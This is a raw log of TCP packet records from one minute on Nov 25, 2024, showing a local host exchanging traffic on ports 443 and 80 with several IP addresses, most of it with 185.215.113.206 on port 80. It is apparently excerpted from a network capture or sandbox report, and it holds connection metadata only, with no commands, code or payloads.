Nov 25, 2024 03:39:55.747399092 CET	443	49817	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:55.747499943 CET	443	49817	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:55.747544050 CET	49817	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:55.748044014 CET	49817	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:55.748060942 CET	443	49817	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:55.749594927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.828088045 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:55.828387022 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:55.828403950 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:55.828758001 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:55.829113960 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:55.829189062 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:55.829303026 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:55.856198072 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.856311083 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.856364012 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.857075930 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.857094049 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.863754988 CET	49832	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.863792896 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.863929033 CET	49832	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.864072084 CET	49832	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.864089012 CET	443	49832	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.869000912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.875325918 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:55.927370071 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:39:55.927417994 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:39:55.927480936 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:39:55.927678108 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:39:55.927690983 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:39:56.002721071 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.002748013 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.002798080 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.002825975 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.002844095 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.002891064 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.005583048 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.005614996 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.041999102 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.042459965 CET	49819	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.042479038 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.042848110 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.045466900 CET	49819	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.045550108 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.045700073 CET	49819	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.055675983 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.055710077 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.055778027 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.055779934 CET	49821	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.055825949 CET	49821	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.056138992 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.056204081 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.056251049 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.058459997 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.058476925 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.059683084 CET	49821	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.059705973 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.091334105 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.113756895 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.113791943 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.113851070 CET	49820	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.113873959 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.113889933 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.113929033 CET	49820	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.115263939 CET	49820	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.115282059 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.121042967 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.121072054 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.121093035 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.121141911 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.121165037 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.121186018 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.121225119 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.125030994 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:56.125051975 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:56.209604979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.209646940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.209707022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.209742069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.209980965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.210021019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.210083961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.210129023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.210834980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.210882902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.210968018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.211127043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.211838007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.211889982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.211956024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.212035894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.212624073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.212754011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.212800026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.213473082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.213526011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.213540077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.213572979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.312851906 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:56.312943935 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:56.313157082 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:56.313791990 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:56.313806057 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:56.313817024 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:56.313860893 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:56.339070082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.339171886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.339236975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.339355946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.339497089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.339536905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.339579105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.339739084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.340377092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.340420961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.340444088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.340501070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.341252089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.341294050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.341371059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.341409922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.342133045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.342212915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.342243910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.342281103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.343036890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.343084097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.343137026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.343228102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.343887091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.343941927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.343982935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.344016075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.344780922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.344827890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.344837904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.344861984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.345674992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.345705986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.345730066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.345748901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.346541882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.346582890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.346599102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.346635103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.347413063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.347455025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.347481012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.347495079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.383269072 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.383666039 CET	49826	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.383682966 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.384473085 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.384854078 CET	49826	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.384918928 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.385157108 CET	49826	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.427330017 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.433135033 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:56.433478117 CET	49827	443	192.168.2.8	20.110.205.119
Nov 25, 2024 03:39:56.433511972 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:56.433890104 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:56.434235096 CET	49827	443	192.168.2.8	20.110.205.119
Nov 25, 2024 03:39:56.434328079 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:56.434468985 CET	49827	443	192.168.2.8	20.110.205.119
Nov 25, 2024 03:39:56.468517065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.468568087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.468599081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.468638897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.468961954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.469094038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.469156981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.469899893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.469911098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.469964027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.470752954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.470772982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.470834970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.471627951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.471693993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.471733093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.471952915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.472475052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.472599983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.472624063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.472661972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.473359108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.473414898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.473467112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.473510981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.474240065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.474354029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.474410057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.475157022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.475244999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.475287914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.475333929 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:56.476015091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.476121902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.476164103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.476878881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.476932049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.476944923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.476973057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.477772951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.477891922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.477942944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.478645086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.478701115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.478730917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.478946924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.479557037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.479568958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.479629040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.480411053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.480473995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.480494976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.480618954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.481272936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.481328964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.481385946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.481425047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.482183933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.482321024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.482376099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.483043909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.483169079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.483203888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.483218908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.483937979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.483949900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.484030008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.484858990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.484982014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.485030890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.485682964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.485806942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.485850096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.486555099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.486620903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.486655951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.486928940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.487381935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.487427950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.598186970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.598257065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.598301888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.598345995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.598716974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.598800898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.598834038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.598846912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.599541903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.599661112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.599687099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.599705935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.600390911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.600438118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.600511074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.600564003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.601258039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.601320028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.601389885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.601448059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.602160931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.602201939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.602211952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.602283001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.603068113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.603113890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.603135109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.603215933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.603919983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.603971958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.604016066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.604089975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.604808092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.604856014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.604882956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.604976892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.605665922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.605777025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.605828047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.606544971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.606657982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.606662989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.606739998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.607436895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.607503891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.607559919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.607606888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.608303070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.608388901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.608417034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.608475924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.609205008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.609236002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.609273911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.609294891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.610074043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.610182047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.610259056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.610969067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.611037970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.611076117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.611131907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.611845970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.611915112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.611946106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.611988068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.612720966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.612833023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.612859011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.612874031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.613593102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.613653898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.613688946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.613739014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.614527941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.614588976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.614622116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.614660025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.615354061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.615417004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.615444899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.615636110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.616215944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.616281033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.616309881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.616352081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.617113113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.617161036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.617253065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.617979050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.618031979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.618069887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.618117094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.618906975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.618952990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.619024992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.619062901 CET	49748	80	192.168.2.8	185.215.113.206
